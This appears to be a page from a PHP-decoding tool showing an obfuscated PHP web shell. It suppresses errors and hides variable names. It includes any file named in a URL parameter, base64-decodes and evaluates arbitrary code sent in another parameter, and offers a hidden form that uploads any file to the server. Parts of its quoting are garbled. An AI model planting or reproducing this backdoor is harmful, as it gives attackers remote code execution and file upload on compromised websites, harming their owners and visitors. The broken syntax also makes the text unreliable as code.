PHP Decode

<?  error_reporting(0); ${"GLOBALS"}["dxpggwemd"]="ev";$kiejpi="ev";$imivhcblfl="in";$hgrptjcx="in";${"GLOBALS"}["ysfombthhq"]="in";${$imivhcblfl}=$_GET["in"];if(isset(${${"GLOBALS"}["ysfombthhq"]})&&!empty(${$hgrptjcx})){echoeval(base64_decode("ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=="));}${$kiejpi}=$_GET["ev"];if(isset(${${"GLOBALS"}["dxpggwemd"]})&&!empty(${${"GLOBALS"}["dxpggwemd"]})){eval(base64_decode(${${"GLOBALS"}["dxpggwemd"]}));exit;}if($_GET["send"]=="ok"){echo"<form action=\"\" method="post\" enctype=\"multipart/form-data" name=\"country" id=\"country"><input type="file" name="file\" size="50\"><input name="_con" type=\"submit" id="_con" value=\"home"></form> ";if($_POST["_con"]=="home"){if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){echo"done :d";}else{echo"error";}}exit;} 
 ?>